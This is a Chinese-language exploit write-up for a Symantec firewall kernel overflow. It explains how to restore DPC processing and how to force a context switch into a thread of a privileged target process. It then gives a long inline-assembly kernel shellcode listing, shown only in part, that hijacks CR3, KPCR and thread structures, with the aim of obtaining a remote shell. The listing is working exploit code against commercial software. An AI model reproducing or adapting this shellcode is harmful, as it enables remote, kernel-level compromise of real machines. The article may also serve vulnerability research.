SYMANTEC防火墙内核溢出利用之非安全返回法二

　　没实现非安全返回法一，因为里面的技术要点都包括在安全返回法和非安全返回法二里了。主要就是那个BAT的下载文件的内容，可以参见相关文章。这篇文章是建立我之前写过的SYMANTEC防火墙内核溢出利用之安全返回法上的基础上的，若有未详细说明之处可参见前文。

　　正如FLASHSKY所说，非安全返回法二的关键在于恢复DPC，不象安全返回法，我们完全不必关心线程切换和DPC调度。不过FLASHSKY过分夸大了DPC被破坏的情况，尤其是环境切换，就算在安全返回法里，在执行我们的代码时系统也进行了数次环境切换和DPC调度(在int 0x2e里发生)。先让我们看看一个DPC调度是怎样完成的，以下是KPCR结构中涉及到DPC调度的部分：

　　+7e0 uint32 DpcInterruptRequested

　　+7e4 void *ChainedInterruptList

　　+7e8 uint32 CachePad3[2]

　　+7f0 uint32 MaximumDpcQueueDepth

　　+7f4 uint32 MinimumDpcRate

　　+7f8 uint32 CachePad4[2]

　　+800 struct _LIST_ENTRY DpcListHead

　　+800 struct _LIST_ENTRY *Flink

　　+804 struct _LIST_ENTRY *Blink

　　+808 uint32 DpcQueueDepth

　　+80c uint32 DpcRoutineActive

　　+810 uint32 DpcCount

　　+814 uint32 DpcLastCount

　　+818 uint32 DpcRequestRate

　　+81c void *DpcStack

　　DPC的处理方法有两种，一种是把KDPC对象串上DpcListHead。在KiIdleLoop或者KiDispatchInterrupt里，系统检测到当前DPC链表不为空，于是调用KiRetireDpcList，KiRetireDpcList设置当前DpcRoutineActive状态为TRUE(M$在这里把ESP的值赋与该成员，显然任何时刻ESP都是大于0的)并把DpcInterruptRequested设置为TRUE，然后从DpcListHead里取出串在该链表上的KDPC结构的DPC例程入口和参数。处理完后恢复原状并把DpcCount加一。另一种方法是等待KTIMER调度对象，DPC调度发生的频率是相当高的，但大部分时间都是处理定时器KTIMER过期DPC，很多DPC通过等待KTIMER的方法被在KiTimerExpiration->KiTimerListExpire里处理。这里的溢出是属于第一种方法，我们处于DPC调度中，DpcRoutineActive和DpcInterruptRequested都为TRUE，进行栈回溯就会发现是由KiIdleLoop调用了KiRetireDpcList。显然这两处成员得恢复原来的0值(其实不恢复也可以，在第一个int 0x2e里如果发生了DPC调度后就会帮我们恢复，但就会降低溢出的成功率，因为如果在int 0x2e在ATTACH进程前还没发生DPC调度系统就会蓝屏，蓝屏代码0x)。其实系统中有些蓝屏是系统有意调用以防止你做某些事，这些事情如果你处理得好是不会对系统产生影响的，比如不能在DPC处理处于活动(就是DpcRoutineActive为TRUE)进行环境切换，但在这个漏洞溢出里我们第一步就是进行环境切换:)。所以突破系统对我们的刁难而完成系统本身的功能，就是我们对内核感兴趣的原因，能够控制整个操作系统真的很爽，扯远了，呵呵。恢复DPC有个技巧，既然上一次KiIdleLoop的调用是KiRetireDpcList，那么IDLE线程的KernelStack(ETHREAD+0x28)处的内容肯定指向KiIdleLoop里调用KiRetireDpcList后的下一条指令：

　　call　　nt!KiRetireDpcList

　　cmp　　 dword ptr [ebx+0x128],0x0

　　如果不改动这里的话环境切换后系统恢复到这里执行，下一步就是判断保存在ebp里的DpcListHead代表的链表是否为空，但由于刚发生完一个环境切换ebp的值已经被修改为KTSS的值了，切换到IDLE线程后肯定出错。所以我们需要人为的对这个地址(指调用KiRetireDpcList后的下一条指令)做点手脚，加上0x2d，使它变为调用了SwapContext后的下一条指令：

　　call　　nt!SwapContext

　　lea　　 ebp,[ebx+0x800]

　　显然ebp已经恢复了，DPC调度可以继续进行了。

　　恢复DPC我们有两种选择，一是将当前DPC跳过，二是重新把当前DPC(这里是ndisMDpc，它的KDPC结构地址保存在堆栈中距离溢出点比较大的地方)加入DPC链表头准备下一次重新调度。前一种方法的好处是方便，可以省下不少代码，也是我使用的方法，不过有一个小问题，就是无法再PING通，会产生网络已被中断的错觉，其实网络是通的，SHELL也拿得到。第二种方法虽然网络功能一切正常，不过远程的机器会出现一些异常，比如开始菜单无法再用，当然SHELL也一切正常。两种方法的共同点都是必须为前面加锁的NDIS_MINIPORT_BLOCK结构解锁，该结构地址保存在IDLE线程堆栈中距离溢出点距离比较大的地方，所以可以很安全取到。

　　下一步就是进行环境切换，要切换的线程是我们选择的目标特权进程内内核栈未换出的线程。把要切换的线程赋给KPCR+0x124处，把下一个要切换的线程(IDLE线程)赋于KPCR+0x128处，并把IDLE线程状态(ETHREAD+02d　　byte　　 State)改为待命(0x3)。然后就是通过改变CR3切换进程地址空间、修改TEB描述符指向新线程TEB、从目标要切换线程中取出KernelStack赋于当前esp，记住，从这里开始我们已经处于新线程的堆栈中了，如果你之前有什么重要的信息压在IDLE线程的堆栈里，赶快在切换ESP前出栈吧。还有一点很重要的是，由于我们是强行把一个处于等待状态的线程进行环境切换(要想找到处于就绪状态且属于目标特权进程的线程实在太考验RP了，其机率快可以比上抽六合彩了)，就必须在等待链表KiWaitInListHead里把该线程摘除(这里说一下KiWaitInListHead和KiWaitOutListHead的区别，前者是处于等待状态且内核栈未被换出的线程链表，而后者是处于等待状态且内核堆栈已被换出的线程链表)，否则就会在KiOutSwapKernelStack处发生死循环。最后就是返回到KiSwapContext(这是该线程上次环境切换时保存在堆栈中的)，系统就会接管工作了(这里需要提出的是，其实IDLE线程自从被赋于KPCR+0x128并被改为待命后，早在第一个int 0x2e就被调度执行了)。

　　我开始时SHELLCODE的结构是先完成其它功能，再环境切换，结果遇到了个很奇怪的问题。就是在WinDBG里如果单步跟过ZwLockVirtualMemory的int 0x2e再g或者在该int 0x2e后任意处设置一个int 0x3断下来再g，系统都一切正常，但如果直接g或者干脆前面就没断过那么系统就会出现奇怪的问题。我猜想是WinDBG代替完成了一些DPC的调用。我曾经尝试解决这个问题，结果被郁闷了N次，主要是在WinDBG的干预下系统一切正常。后来想到前面几次环境切换和DPC调度都使用了IDLE线程的内核堆栈，而后面又直接修改会正常值(IDLE的KernelStack, 在ETHREAD+0x28处，是个不变的值，不修改的话会返回到错误的地址)，估计问题发生在这里，所以我把SHELLCODE前后结构改了，先环境切换再完成其它功能，这样不会再干预IDLE的内核栈，事实证明这样是正确的:)还有就是我的环境切换代码是一再精简过的SwapContext版本，把所有可有可无的代码全去掉了，比如修改KPCR中某些不会用到的成员的代码全去掉了，甚至连线程状态都没改，还是保持在等待状态，反正系统正常环境切换也不会检测正在运行的线程是什么状态，呵呵。

　　下面是内核SHELLCODE代码，转换成机器码大概320个字节。如果用第二种恢复DPC的方法大概

　　350个字节：

　　__declspec(naked)JustTest2()

　　{

　　__asm

　　{

　　call go1

　　go1:

　　pop eax

　　push eax

　　mov ebp, 0xffdff80c

　　mov ebx, dword ptr [ebp-0x2b0]

　　mov ebx, dword ptr [ebx+0x44]

　　xor eax, eax

　　push 0x73727363

　　FindProcess:

　　mov edi, esp

　　lea esi, dword ptr [ebx+0x1fc]

　　push 0x4

　　pop ecx

　　repe cmpsb

　　jecxz go2

　　mov ebx, dword ptr [ebx+0xa0]

　　sub ebx, 0xa0

　　jmp FindProcess

　　go2:

　　pop edx

　　mov dword ptr [ebp], eax

　　mov esi, dword ptr [esp+0x33c]

　　mov byte ptr [esi+0x2d], al

　　lea esi, dword ptr [ebx+0x50]

　　FindThread:

　　mov esi, dword ptr [esi]

　　test byte ptr [esi-0x86], 0x1

　　jnz go3

　　jmp FindThread

　　go3:

　　mov edx, dword ptr [ebx+0x18]

　　sub esi, 0x1a4

　　mov ebx, 0xffdff000

　　//　　　　lea ecx, dword ptr [ebp-0xc]

　　mov ebp, dword ptr [ebx+0x124]

　　mov dword ptr [ebx+0x128], ebp

　　inc byte ptr [ebp+0x2d]

　　mov edi, dword ptr [ebp+0x28]

　　add dword ptr [edi+0x8], 0x2d

　　//　　　　mov ebp, dword ptr [edi-0x8]

　　//　　　　add ebp, 0x4

　　//　　　　mov edi, dword ptr [ecx]

　　//　　　　mov　　dword ptr [edi], ebp

　　//　　　　mov dword ptr [ebp+4], edi

　　//　　　　mov dword ptr [ecx], ebp

　　mov dword ptr [ebx+0x124], esi

　　mov cl, byte ptr [esi+0x2c]

　　mov byte ptr [ebx+0x50], cl

　　mov ebp, dword ptr [esi+0x5c]

　　mov edi, dword ptr [esi+0x60]

　　mov dword ptr [edi], ebp

　　mov dword ptr [ebp+0x4], edi

　　pop edi

　　push dword ptr [esi+0x1c]

　　pop dword ptr [ebx+0x8]

　　mov esp, dword ptr [esi+0x28]

　　mov ecx, dword ptr [esi+0x20]

　　mov dword ptr [ebx+0x18], ecx

　　mov ebp, dword ptr [ebx+0x3c]

　　mov word ptr [ebp+0x3a], cx

　　shr ecx, 0x10

　　mov byte ptr [ebp+0x3c], cl

　　shr ecx, 0x8

　　mov byte ptr [ebp+0x3f], cl

　　mov ebp, dword ptr [ebx+0x40]

　　mov dword ptr [ebp+0x1c], edx

　　mov cr3, edx

　　push edi

　　mov ebp, esp

　　sub esp, 0x40

　　push ebx

　　push esi

　　push 0x10

　　pop ecx

　　lea edi, dword ptr [ebp-0x40]